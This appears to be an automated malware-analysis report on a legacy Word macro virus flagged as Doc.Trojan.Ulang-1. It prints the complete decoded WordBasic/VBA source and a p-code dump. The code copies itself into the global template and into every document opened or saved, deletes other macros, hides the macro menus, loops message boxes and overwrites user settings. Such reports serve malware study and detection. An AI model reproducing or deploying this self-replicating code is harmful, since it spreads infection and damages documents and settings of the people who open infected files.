MALICIOUS
128
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code automatically when the document is opened. The ClamAV detection of 'Doc.Trojan.Ulang-1' further confirms its malicious nature. No specific IOCs like URLs or file paths were extracted from the provided evidence.
Heuristics 4
-
ClamAV: Doc.Trojan.Ulang-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ulang-1
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
NMakro$ = NFile$ + ":AutoOpen"
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 33696 bytes |
SHA-256: 4b4496c2cd30b25da10b297c493a857a1b101a79ad9bfc8593a109ecd9b4065a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "ToolsCustomize"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ToolsCustomize.MAIN"
Dim Pesan$
Pesan$ = "No such customize or command"
WordBasic.MsgBox Pesan$, "NdeKlaimber Customize Err ##", 48
End Sub
Attribute VB_Name = "FileTemplates"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileTemplates.MAIN"
Dim Pesan$
Pesan$ = "No such template or command"
WordBasic.MsgBox Pesan$, "NdeKlaimber Template Err ##", 48
End Sub
Attribute VB_Name = "ToolsMacro"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.ToolsMacro.MAIN"
Dim Pesan$
Pesan$ = "No such macro or command"
WordBasic.MsgBox Pesan$, "NdeKlaimber Macro Err ##", 48
End Sub
Attribute VB_Name = "FileSaveAs"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim Lakukan
Dim NFile$
Dim NMakro$
WordBasic.FileSave
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
Lakukan = WordBasic.Dialog.FileSaveAs(dlg)
If Lakukan Then
dlg.Format = 1
WordBasic.FileSaveAs dlg
NFile$ = WordBasic.[FileName$]()
NMakro$ = NFile$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExec", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoOpen", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileOpen"
WordBasic.MacroCopy "Global:FileOpen", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSave", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:FileSaveAs", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileTemplates"
WordBasic.MacroCopy "Global:FileTemplates", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileMacro"
WordBasic.MacroCopy "Global:FileMacro", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":ToolsMacro"
WordBasic.MacroCopy "Global:ToolsMacro", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":ToolsCustomize"
WordBasic.MacroCopy "Global:ToolsCustomize", NMakro$
End If
Akhir:
End Sub
Attribute VB_Name = "FileMacro"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileMacro.MAIN"
Dim Pesan$
Pesan$ = "No such macro or command"
WordBasic.MsgBox Pesan$, "NdeKlaimber Macro Err ##", 48
End Sub
Attribute VB_Name = "FileSave"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
Dim Lakukan
Dim NFile$
Dim NMakro$
WordBasic.FileSave
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
Lakukan = WordBasic.Dialog.FileSaveAs(dlg)
If Lakukan Then
dlg.Format = 1
WordBasic.FileSaveAs dlg
NFile$ = WordBasic.[FileName$]()
NMakro$ = NFile$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExec", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoOpen", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileOpen"
WordBasic.MacroCopy "Global:FileOpen", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSave", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:FileSaveAs", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileTemplates"
WordBasic.MacroCopy "Global:FileTemplates", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileMacro"
WordBasic.MacroCopy "Global:FileMacro", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":ToolsMacro"
WordBasic.MacroCopy "Global:ToolsMacro", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":ToolsCustomize"
WordBasic.MacroCopy "Global:ToolsCustomize", NMakro$
End If
Akhir:
End Sub
Attribute VB_Name = "FileOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileOpen.MAIN"
Dim TotalMacro
Dim i
Dim MN$
Dim FN$
Dim NFile$
Dim NMakro$
ReDim BadMacro__$(20)
WordBasic.DisableAutoMacros 1
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
WordBasic.CurValues.FileOpen dlg
On Error GoTo -1: On Error GoTo Akhir
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
TotalMacro = 0
For i = 1 To WordBasic.CountMacros(1)
MN$ = WordBasic.[MacroName$](i, 1)
BadMacro__$(i) = MN$
TotalMacro = TotalMacro + 1
Next i
FN$ = WordBasic.[FileName$]()
If TotalMacro >= 1 Then
For i = 1 To TotalMacro
On Error GoTo -1: On Error GoTo Akhir
WordBasic.Organizer Delete:=1, Source:=FN$, Name:=BadMacro__$(i), Tab:=3
Next i
WordBasic.FileSave
End If
NFile$ = WordBasic.[FileName$]()
NMakro$ = NFile$ + ":AutoExec"
WordBasic.MacroCopy "Global:AutoExec", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoOpen", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileOpen"
WordBasic.MacroCopy "Global:FileOpen", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSave", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileSaveAs"
WordBasic.MacroCopy "Global:FileSaveAs", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileTemplates"
WordBasic.MacroCopy "Global:FileTemplates", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileMacro"
WordBasic.MacroCopy "Global:FileMacro", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":ToolsMacro"
WordBasic.MacroCopy "Global:ToolsMacro", NMakro$
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":ToolsCustomize"
WordBasic.MacroCopy "Global:ToolsCustomize", NMakro$
Akhir:
WordBasic.FileSave
WordBasic.DisableAutoMacros 0
End Sub
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim NFile$
Dim NMakro$
NFile$ = WordBasic.[FileName$]()
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":AutoExec"
WordBasic.MacroCopy NMakro$, "Global:AutoExec"
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":AutoOpen"
WordBasic.MacroCopy NMakro$, "Global:AutoOpen"
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileOpen"
WordBasic.MacroCopy NMakro$, "Global:FileOpen"
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileSave"
WordBasic.MacroCopy NMakro$, "Global:FileSave"
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileSaveAs"
WordBasic.MacroCopy NMakro$, "Global:FileSaveAs"
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileTemplates"
WordBasic.MacroCopy NMakro$, "Global:FileTemplates"
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":FileMacro"
WordBasic.MacroCopy NMakro$, "Global:FileMacro"
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":ToolsMacro"
WordBasic.MacroCopy NMakro$, "Global:ToolsMacro"
On Error GoTo -1: On Error GoTo Akhir
NMakro$ = NFile$ + ":ToolsCustomize"
WordBasic.MacroCopy NMakro$, "Global:ToolsCustomize"
Akhir:
End Sub
Attribute VB_Name = "AutoExec"
Public Sub MAIN()
Attribute MAIN.VB_Description = "From NdeKlaimber™ with Love. \r\nJust for Pakis Pratiwi... wherever you are !"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoExec.MAIN"
Dim Tgl
Dim Bln
Dim Thn
Dim Jam
Dim Lebar
Dim Tinggi
Dim BarOK
Dim LebOK
Dim Pelaku$
WordBasic.DisableInput 1
WordBasic.DisableAutoMacros 0
Tgl = WordBasic.Day(WordBasic.Now())
Bln = WordBasic.Month(WordBasic.Now())
Thn = WordBasic.Year(WordBasic.Now())
Jam = WordBasic.Hour(WordBasic.Now())
Dim Pesan1$, Pesan2$, Pesan3$, Pesan4$, Pelaku1$, Pelaku2$
Pesan1$ = "Berawal dari sebuah kepedihan... NdeKlaimber™ dicampakkan dan dihinakan... terpuruk bagaikan sampah busuk... NdeKlaimber™ merintih dengan segumpal dendam mendidih !!!"
Pesan2$ = "Kini saatnya NdeKlaimber™ menunjukkan... masih adanya kekuatan untuk membungkam mulut-mulut tak berperasaan... sebab hasrat untuk menjadi yang terbaik adalah sesuatu yang sangat manusiawi... NdeKlaimber™ manangis harus melibatkan semua orang."
Pesan3$ = "©1997 NdeKlaimber™ I'm Coming..."
Pelaku1$ = "NdeKlaimber"
Pelaku2$ = "Pakis Pratiwi"
If Thn < 1998 Then GoTo HUT
If Jam < 19 Then GoTo Akhir
Dim dlg As Object
Lebar = 400
Tinggi = 200
BarOK = Tinggi - 25
LebOK = Lebar - 40
WordBasic.BeginDialog Lebar, Tinggi, " NdeKlaimber Menggugat ..."
WordBasic.Text 20, 10, LebOK, 150, Pesan1$
WordBasic.Text 20, 78, LebOK, 120, Pesan2$
WordBasic.Text 20, 160, LebOK, 20, Pesan3$
WordBasic.OKButton 20, BarOK, LebOK, 20
WordBasic.EndDialog
Set dlg = WordBasic.CurValues.UserDialog
WordBasic.Dialog.UserDialog dlg
HUT:
If Tgl = 20 And Bln = 11 Then
Pelaku$ = Pelaku1$
GoTo Ultah
ElseIf Tgl = 19 And Bln = 8 Then
Pelaku$ = Pelaku2$
GoTo Ultah
End If
GoTo Lanjut
Ultah:
Pesan4$ = "Hari ini " + Pelaku$ + " merayakan Hari Ulang Tahun... Matikan komputer, tinggalkan semua pekerjaan, istirahatkan pikiran, ucapkan selamat kepada " + Pelaku$ + "."
WordBasic.Beep
WordBasic.MsgBox Pesan4$, "Happy Birthday, " + Pelaku$ + "...", 16
GoTo Ultah
Lanjut:
WordBasic.ToolsOptionsSave CreateBackup:=0, FastSaves:=0, SummaryPrompt:=0, GlobalDotPrompt:=0, NativePictureFormat:=0, EmbedFonts:=0, FormsData:=0, AutoSave:=1, SaveInterval:="5", Password:="", WritePassword:="", RecommendReadOnly:=0
WordBasic.ToolsOptionsGeneral Pagination:=1, WPHelp:=0, WPDocNavKeys:=0, BlueScreen:=0, ErrorBeeps:=1, Effects3d:=1, UpdateLinks:=1, SendMailAttach:=1, RecentFiles:=0, RecentFileCount:="", Units:=1, ButtonFieldClicks:=-1
WordBasic.ToolsOptionsUserInfo Name:="Pakis Pratiwi", Initials:="Tiwi", Address:="Pupus sudah asa NdeKlaimber™ mencari" + Chr(13) + "Alamat nyata belum jua terberi" + Chr(13) + "Kalau saudaraku sudi memberi" + Chr(13) + "Informasi NdeKlaimber™ menanti" + Chr(13) + "Seribu hatur kasih NdeKlaimber™ pasti"
Akhir:
End Sub
' Processing file: /tmp/qstore_vffglhm8
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/ToolsCustomize - 1360 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn Pesan
' Line #3:
' LitStr 0x001C "No such customize or command"
' St Pesan$
' Line #4:
' Ld Pesan$
' LitStr 0x001C "NdeKlaimber Customize Err ##"
' LitDI2 0x0030
' Ld WordBasic
' ArgsMemCall MsgBox 0x0003
' Line #5:
' EndSub
' Macros/VBA/FileTemplates - 1353 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn Pesan
' Line #3:
' LitStr 0x001B "No such template or command"
' St Pesan$
' Line #4:
' Ld Pesan$
' LitStr 0x001B "NdeKlaimber Template Err ##"
' LitDI2 0x0030
' Ld WordBasic
' ArgsMemCall MsgBox 0x0003
' Line #5:
' EndSub
' Macros/VBA/ToolsMacro - 1341 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn Pesan
' Line #3:
' LitStr 0x0018 "No such macro or command"
' St Pesan$
' Line #4:
' Ld Pesan$
' LitStr 0x0018 "NdeKlaimber Macro Err ##"
' LitDI2 0x0030
' Ld WordBasic
' ArgsMemCall MsgBox 0x0003
' Line #5:
' EndSub
' Macros/VBA/FileSaveAs - 3005 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn Lakukan
' Line #3:
' Dim
' VarDefn NFile
' Line #4:
' Dim
' VarDefn NMakro
' Line #5:
' Ld WordBasic
' ArgsMemCall FileSave 0x0000
' Line #6:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set dlg
' Line #7:
' Ld dlg
' Ld WordBasic
' MemLd CurValues
' ArgsMemCall FileSaveAs 0x0001
' Line #8:
' Ld dlg
' Ld WordBasic
' MemLd Dialog
' ArgsMemLd FileSaveAs 0x0001
' St Lakukan
' Line #9:
' Ld Lakukan
' IfBlock
' Line #10:
' LitDI2 0x0001
' Ld dlg
' MemSt Format$
' Line #11:
' Ld dlg
' Ld WordBasic
' ArgsMemCall FileSaveAs 0x0001
' Line #12:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St NFile$
' Line #13:
' Ld NFile$
' LitStr 0x0009 ":AutoExec"
' Add
' St NMakro$
' Line #14:
' LitStr 0x000F "Global:AutoExec"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #15:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #16:
' Ld NFile$
' LitStr 0x0009 ":AutoOpen"
' Add
' St NMakro$
' Line #17:
' LitStr 0x000F "Global:AutoOpen"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #18:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #19:
' Ld NFile$
' LitStr 0x0009 ":FileOpen"
' Add
' St NMakro$
' Line #20:
' LitStr 0x000F "Global:FileOpen"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #21:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #22:
' Ld NFile$
' LitStr 0x0009 ":FileSave"
' Add
' St NMakro$
' Line #23:
' LitStr 0x000F "Global:FileSave"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #24:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #25:
' Ld NFile$
' LitStr 0x000B ":FileSaveAs"
' Add
' St NMakro$
' Line #26:
' LitStr 0x0011 "Global:FileSaveAs"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #27:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #28:
' Ld NFile$
' LitStr 0x000E ":FileTemplates"
' Add
' St NMakro$
' Line #29:
' LitStr 0x0014 "Global:FileTemplates"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #30:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #31:
' Ld NFile$
' LitStr 0x000A ":FileMacro"
' Add
' St NMakro$
' Line #32:
' LitStr 0x0010 "Global:FileMacro"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #33:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #34:
' Ld NFile$
' LitStr 0x000B ":ToolsMacro"
' Add
' St NMakro$
' Line #35:
' LitStr 0x0011 "Global:ToolsMacro"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #36:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #37:
' Ld NFile$
' LitStr 0x000F ":ToolsCustomize"
' Add
' St NMakro$
' Line #38:
' LitStr 0x0015 "Global:ToolsCustomize"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #39:
' EndIfBlock
' Line #40:
' Label Akhir
' Line #41:
' EndSub
' Macros/VBA/FileMacro - 1340 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn Pesan
' Line #3:
' LitStr 0x0018 "No such macro or command"
' St Pesan$
' Line #4:
' Ld Pesan$
' LitStr 0x0018 "NdeKlaimber Macro Err ##"
' LitDI2 0x0030
' Ld WordBasic
' ArgsMemCall MsgBox 0x0003
' Line #5:
' EndSub
' Macros/VBA/FileSave - 3008 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn Lakukan
' Line #3:
' Dim
' VarDefn NFile
' Line #4:
' Dim
' VarDefn NMakro
' Line #5:
' Ld WordBasic
' ArgsMemCall FileSave 0x0000
' Line #6:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileSaveAs 0x0001
' Set dlg
' Line #7:
' Ld dlg
' Ld WordBasic
' MemLd CurValues
' ArgsMemCall FileSaveAs 0x0001
' Line #8:
' Ld dlg
' Ld WordBasic
' MemLd Dialog
' ArgsMemLd FileSaveAs 0x0001
' St Lakukan
' Line #9:
' Ld Lakukan
' IfBlock
' Line #10:
' LitDI2 0x0001
' Ld dlg
' MemSt Format$
' Line #11:
' Ld dlg
' Ld WordBasic
' ArgsMemCall FileSaveAs 0x0001
' Line #12:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St NFile$
' Line #13:
' Ld NFile$
' LitStr 0x0009 ":AutoExec"
' Add
' St NMakro$
' Line #14:
' LitStr 0x000F "Global:AutoExec"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #15:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #16:
' Ld NFile$
' LitStr 0x0009 ":AutoOpen"
' Add
' St NMakro$
' Line #17:
' LitStr 0x000F "Global:AutoOpen"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #18:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #19:
' Ld NFile$
' LitStr 0x0009 ":FileOpen"
' Add
' St NMakro$
' Line #20:
' LitStr 0x000F "Global:FileOpen"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #21:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #22:
' Ld NFile$
' LitStr 0x0009 ":FileSave"
' Add
' St NMakro$
' Line #23:
' LitStr 0x000F "Global:FileSave"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #24:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #25:
' Ld NFile$
' LitStr 0x000B ":FileSaveAs"
' Add
' St NMakro$
' Line #26:
' LitStr 0x0011 "Global:FileSaveAs"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #27:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #28:
' Ld NFile$
' LitStr 0x000E ":FileTemplates"
' Add
' St NMakro$
' Line #29:
' LitStr 0x0014 "Global:FileTemplates"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #30:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #31:
' Ld NFile$
' LitStr 0x000A ":FileMacro"
' Add
' St NMakro$
' Line #32:
' LitStr 0x0010 "Global:FileMacro"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #33:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #34:
' Ld NFile$
' LitStr 0x000B ":ToolsMacro"
' Add
' St NMakro$
' Line #35:
' LitStr 0x0011 "Global:ToolsMacro"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #36:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #37:
' Ld NFile$
' LitStr 0x000F ":ToolsCustomize"
' Add
' St NMakro$
' Line #38:
' LitStr 0x0015 "Global:ToolsCustomize"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #39:
' EndIfBlock
' Line #40:
' Label Akhir
' Line #41:
' EndSub
' Macros/VBA/FileOpen - 3861 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn TotalMacro
' Line #3:
' Dim
' VarDefn i
' Line #4:
' Dim
' VarDefn MN
' Line #5:
' Dim
' VarDefn FN
' Line #6:
' Dim
' VarDefn NFile
' Line #7:
' Dim
' VarDefn NMakro
' Line #8:
' OptionBase
' LitDI2 0x0014
' Redim BadMacro__$ 0x0001 (As String)
' Line #9:
' LitDI2 0x0001
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #10:
' Dim
' VarDefn dlg (As Object)
' BoS 0x0000
' SetStmt
' LitVarSpecial (False)
' Ld WordBasic
' MemLd DialogRecord
' ArgsMemLd FileOpen 0x0001
' Set dlg
' Line #11:
' Ld dlg
' Ld WordBasic
' MemLd CurValues
' ArgsMemCall FileOpen 0x0001
' Line #12:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #13:
' Ld dlg
' Ld WordBasic
' MemLd Dialog
' ArgsMemCall FileOpen 0x0001
' Line #14:
' Ld dlg
' Ld WordBasic
' ArgsMemCall FileOpen 0x0001
' Line #15:
' LitDI2 0x0000
' St TotalMacro
' Line #16:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld WordBasic
' ArgsMemLd CountMacros 0x0001
' For
' Line #17:
' Ld i
' LitDI2 0x0001
' Ld WordBasic
' ArgsMemLd [MacroName$] 0x0002
' St MN$
' Line #18:
' Ld MN$
' Ld i
' ArgsSt BadMacro__$ 0x0001
' Line #19:
' Ld TotalMacro
' LitDI2 0x0001
' Add
' St TotalMacro
' Line #20:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #21:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St FN$
' Line #22:
' Ld TotalMacro
' LitDI2 0x0001
' Ge
' IfBlock
' Line #23:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld TotalMacro
' For
' Line #24:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #25:
' LitDI2 0x0001
' ParamNamed Delete
' Ld FN$
' ParamNamed Source
' Ld i
' ArgsLd BadMacro__$ 0x0001
' ParamNamed New
' LitDI2 0x0003
' ParamNamed Text
' Ld WordBasic
' ArgsMemCall Organizer 0x0004
' Line #26:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #27:
' Ld WordBasic
' ArgsMemCall FileSave 0x0000
' Line #28:
' EndIfBlock
' Line #29:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St NFile$
' Line #30:
' Ld NFile$
' LitStr 0x0009 ":AutoExec"
' Add
' St NMakro$
' Line #31:
' LitStr 0x000F "Global:AutoExec"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #32:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #33:
' Ld NFile$
' LitStr 0x0009 ":AutoOpen"
' Add
' St NMakro$
' Line #34:
' LitStr 0x000F "Global:AutoOpen"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #35:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #36:
' Ld NFile$
' LitStr 0x0009 ":FileOpen"
' Add
' St NMakro$
' Line #37:
' LitStr 0x000F "Global:FileOpen"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #38:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #39:
' Ld NFile$
' LitStr 0x0009 ":FileSave"
' Add
' St NMakro$
' Line #40:
' LitStr 0x000F "Global:FileSave"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #41:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #42:
' Ld NFile$
' LitStr 0x000B ":FileSaveAs"
' Add
' St NMakro$
' Line #43:
' LitStr 0x0011 "Global:FileSaveAs"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #44:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #45:
' Ld NFile$
' LitStr 0x000E ":FileTemplates"
' Add
' St NMakro$
' Line #46:
' LitStr 0x0014 "Global:FileTemplates"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #47:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #48:
' Ld NFile$
' LitStr 0x000A ":FileMacro"
' Add
' St NMakro$
' Line #49:
' LitStr 0x0010 "Global:FileMacro"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #50:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #51:
' Ld NFile$
' LitStr 0x000B ":ToolsMacro"
' Add
' St NMakro$
' Line #52:
' LitStr 0x0011 "Global:ToolsMacro"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #53:
' OnError <crash>
' BoS 0x0000
' OnError Akhir
' Line #54:
' Ld NFile$
' LitStr 0x000F ":ToolsCustomize"
' Add
' St NMakro$
' Line #55:
' LitStr 0x0015 "Global:ToolsCustomize"
' Ld NMakro$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #56:
' Label Akhir
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.